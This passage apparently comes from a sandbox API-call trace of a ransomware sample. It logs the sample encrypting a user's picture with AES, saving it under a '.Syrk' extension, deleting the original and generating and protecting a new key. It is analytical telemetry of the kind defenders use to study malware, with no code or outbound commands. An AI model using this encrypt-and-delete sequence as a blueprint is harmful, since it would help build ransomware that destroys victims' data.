G.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0252.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk", lpFilePart=0x0) returned 0x31 [0252.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0252.241] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0252.247] GetFileType (hFile=0x368) returned 0x1 [0252.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0252.247] GetFileType (hFile=0x368) returned 0x1 [0252.247] EtwEventActivityIdControl () returned 0x0 [0252.247] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x24685ec | out: pbBuffer=0x24685ec) returned 1 [0252.248] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.249] CryptDuplicateKey (in: hKey=0x5c99760, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99ae0) returned 1 [0252.249] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.249] CryptSetKeyParam (hKey=0x5c99ae0, dwParam=0x4, pbData=0x2469918*=0x1, dwFlags=0x0) returned 1 [0252.249] CryptSetKeyParam (hKey=0x5c99ae0, dwParam=0x1, pbData=0x24698e4, dwFlags=0x0) returned 1 [0252.249] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.249] EtwEventActivityIdControl () returned 0x0 [0252.249] EtwEventActivityIdControl () returned 0x0 [0252.249] EtwEventActivityIdControl () returned 0x0 [0252.251] EtwEventActivityIdControl () returned 0x0 [0252.251] ReadFile (in: hFile=0x364, lpBuffer=0x246c554, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x246c554*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0252.262] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x248056c*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x248056c*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0252.263] WriteFile (in: hFile=0x368, lpBuffer=0x24686c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24686c8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0252.264] WriteFile (in: hFile=0x368, lpBuffer=0x2481558*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2481558*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0252.266] ReadFile (in: hFile=0x364, lpBuffer=0x246c554, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x246c554*, lpNumberOfBytesRead=0x5a2e7d8*=0x3adf, lpOverlapped=0x0) returned 1 [0252.266] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2494584*, pdwDataLen=0x5a2e7cc*=0x3ad0, dwBufLen=0x3ad0 | out: pbData=0x2494584*, pdwDataLen=0x5a2e7cc*=0x3ad0) returned 1 [0252.267] WriteFile (in: hFile=0x368, lpBuffer=0x2494584*, nNumberOfBytesToWrite=0x3ad0, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2494584*, lpNumberOfBytesWritten=0x5a2e7b0*=0x3ad0, lpOverlapped=0x0) returned 1 [0252.267] ReadFile (in: hFile=0x364, lpBuffer=0x246c554, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x246c554*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0252.267] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2498060*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2498060*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0252.267] CryptEncrypt (in: hKey=0x5c99ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x249807c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x249807c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0252.267] WriteFile (in: hFile=0x368, lpBuffer=0x24686c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24686c8*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0252.268] CloseHandle (hObject=0x368) returned 1 [0252.269] CloseHandle (hObject=0x364) returned 1 [0252.270] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.270] EtwEventActivityIdControl () returned 0x0 [0252.270] EtwEventActivityIdControl () returned 0x0 [0252.270] EtwEventActivityIdControl () returned 0x0 [0252.323] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png")) returned 0x20 [0252.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.326] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0252.326] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0252.326] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0252.326] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0252.326] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0252.326] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0252.326] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0252.326] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0252.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0252.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0252.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0252.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0252.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0252.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0252.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0252.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0252.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png")) returned 0x20 [0252.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0252.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.330] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0252.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0252.331] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0252.331] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0252.331] CoTaskMemFree (pv=0x3b0008) [0252.332] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png")) returned 0x20 [0252.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0252.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png"), fInfoLevelId=0x0, lpFileInformation=0x24a327c | out: lpFileInformation=0x24a327c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ced610, ftCreationTime.dwHighDateTime=0x1d9920c, ftLastAccessTime.dwLowDateTime=0xf7453290, ftLastAccessTime.dwHighDateTime=0x1d9968e, ftLastWriteTime.dwLowDateTime=0xf7453290, ftLastWriteTime.dwHighDateTime=0x1d9968e, nFileSizeHigh=0x0, nFileSizeLow=0x17adf)) returned 1 [0252.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0252.333] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png")) returned 1 [0252.361] EtwEventActivityIdControl () returned 0x0 [0252.362] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.362] EtwEventActivityIdControl () returned 0x0 [0252.362] EtwEventActivityIdControl () returned 0x0 [0252.362] EtwEventActivityIdControl () returned 0x0 [0252.370] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png.syrk")) returned 0x20 [0252.371] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png.syrk")) returned 0x20 [0252.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0252.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk", lpFilePart=0x0) returned 0x31 [0252.372] EtwEventActivityIdControl () returned 0x0 [0252.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.373] EtwEventActivityIdControl () returned 0x0 [0252.373] EtwEventActivityIdControl () returned 0x0 [0252.373] EtwEventActivityIdControl () returned 0x0 [0252.376] EtwEventActivityIdControl () returned 0x0 [0252.376] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.377] EtwEventActivityIdControl () returned 0x0 [0252.377] EtwEventActivityIdControl () returned 0x0 [0252.377] EtwEventActivityIdControl () returned 0x0 [0252.380] EtwEventActivityIdControl () returned 0x0 [0252.380] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.381] EtwEventActivityIdControl () returned 0x0 [0252.381] EtwEventActivityIdControl () returned 0x0 [0252.381] EtwEventActivityIdControl () returned 0x0 [0252.423] EtwEventActivityIdControl () returned 0x0 [0252.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.424] EtwEventActivityIdControl () returned 0x0 [0252.424] EtwEventActivityIdControl () returned 0x0 [0252.424] EtwEventActivityIdControl () returned 0x0 [0252.428] EtwEventActivityIdControl () returned 0x0 [0252.428] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.428] EtwEventActivityIdControl () returned 0x0 [0252.428] EtwEventActivityIdControl () returned 0x0 [0252.428] EtwEventActivityIdControl () returned 0x0 [0252.433] EtwEventActivityIdControl () returned 0x0 [0252.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0252.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24acaec | out: lpFileInformation=0x24acaec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12061f90, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x12061f90, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x120880f0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x17af4)) returned 1 [0252.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0252.438] GetConsoleOutputCP () returned 0x1b5 [0252.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.438] GetConsoleOutputCP () returned 0x1b5 [0252.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.438] GetConsoleOutputCP () returned 0x1b5 [0252.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.439] GetConsoleOutputCP () returned 0x1b5 [0252.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.439] GetConsoleOutputCP () returned 0x1b5 [0252.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.439] GetConsoleOutputCP () returned 0x1b5 [0252.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.440] GetConsoleOutputCP () returned 0x1b5 [0252.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.440] GetConsoleOutputCP () returned 0x1b5 [0252.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.440] GetConsoleOutputCP () returned 0x1b5 [0252.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.441] GetConsoleOutputCP () returned 0x1b5 [0252.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.441] GetConsoleOutputCP () returned 0x1b5 [0252.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.442] GetConsoleOutputCP () returned 0x1b5 [0252.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.442] GetConsoleOutputCP () returned 0x1b5 [0252.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.443] GetConsoleOutputCP () returned 0x1b5 [0252.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.443] GetConsoleOutputCP () returned 0x1b5 [0252.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.443] GetConsoleOutputCP () returned 0x1b5 [0252.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.443] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0252.444] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0252.444] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24c6734*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24c6734*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0252.445] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0252.445] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0252.446] EtwEventActivityIdControl () returned 0x0 [0252.446] EtwEventActivityIdControl () returned 0x0 [0252.447] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.447] EtwEventActivityIdControl () returned 0x0 [0252.447] EtwEventActivityIdControl () returned 0x0 [0252.447] EtwEventActivityIdControl () returned 0x0 [0252.449] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.449] EtwEventActivityIdControl () returned 0x0 [0252.449] EtwEventActivityIdControl () returned 0x0 [0252.449] EtwEventActivityIdControl () returned 0x0 [0252.451] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0252.452] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c999a0) returned 1 [0252.452] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.452] CryptExportKey (in: hKey=0x5c999a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0252.452] CryptExportKey (in: hKey=0x5c999a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24ce10c, pdwDataLen=0x5a2e8c4 | out: pbData=0x24ce10c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0252.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.453] EtwEventActivityIdControl () returned 0x0 [0252.453] EtwEventActivityIdControl () returned 0x0 [0252.453] EtwEventActivityIdControl () returned 0x0 [0252.454] SysStringLen (param_1="") returned 0x8 [0252.454] SysStringLen (param_1="b") returned 0x8 [0252.454] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.454] SysStringLen (param_1="㼁廳⦹㛵냅媩\⋚) returned 0x8 [0252.454] SysStringLen (param_1="㼁廳⦹㛵냅媩\⋚) returned 0x8 [0252.454] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.454] SysStringLen (param_1="b8") returned 0x8 [0252.454] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.455] SysStringLen (param_1="픽꤉錩亘뇡앒깠⥝") returned 0x8 [0252.455] SysStringLen (param_1="픽꤉錩亘뇡앒깠⥝") returned 0x8 [0252.455] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.455] SysStringLen (param_1="b8x") returned 0x8 [0252.455] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.455] SysStringLen (param_1="᨞珴䈨㖼ை蒢嶮笡") returned 0x8 [0252.455] SysStringLen (param_1="᨞珴䈨㖼ை蒢嶮笡") returned 0x8 [0252.455] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.455] SysStringLen (param_1="b8xj") returned 0x8 [0252.455] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.455] SysStringLen (param_1="냪쓁ꊷ⥢䛙ꢧ") returned 0x8 [0252.455] SysStringLen (param_1="냪쓁ꊷ⥢䛙ꢧ") returned 0x8 [0252.455] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.456] SysStringLen (param_1="b8xjR") returned 0x8 [0252.456] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.456] SysStringLen (param_1="\痚Ʃ쎳막⊣㢝凣∡) returned 0x8 [0252.456] SysStringLen (param_1="\痚Ʃ쎳막⊣㢝凣∡) returned 0x8 [0252.456] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.456] SysStringLen (param_1="b8xjRu") returned 0x8 [0252.456] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.456] SysStringLen (param_1="䳤ᵲﮰ∥飊戄槆") returned 0x8 [0252.456] SysStringLen (param_1="䳤ᵲﮰ∥飊戄槆") returned 0x8 [0252.456] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.456] SysStringLen (param_1="b8xjRu2") returned 0x8 [0252.456] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.456] SysStringLen (param_1="벅ⅵ슎睫㞓棐ʺꎰ") returned 0x8 [0252.456] SysStringLen (param_1="벅ⅵ슎睫㞓棐ʺꎰ") returned 0x8 [0252.456] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.457] SysStringLen (param_1="b8xjRu2R") returned 0x8 [0252.457] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 